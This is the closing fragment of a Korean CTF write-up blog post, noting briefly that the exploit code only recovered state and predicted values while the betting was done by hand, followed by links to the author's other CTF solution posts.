exploit code는 index를 통해 state recover 및 index에 따른 value 예측만을 하였고,
실제 베팅은 직접 진행하였다.
'CTF > writeup-ko' 카테고리의 다른 글
| KalmarCTF 2024 풀이 - Symmetry 2, 3 (0) | 2024.03.19 |
|---|---|
| 2024 Feb Space WAR (Crypto) 풀이 (3) | 2024.02.25 |
| Space WAR 2023 풀이 (1) | 2023.12.31 |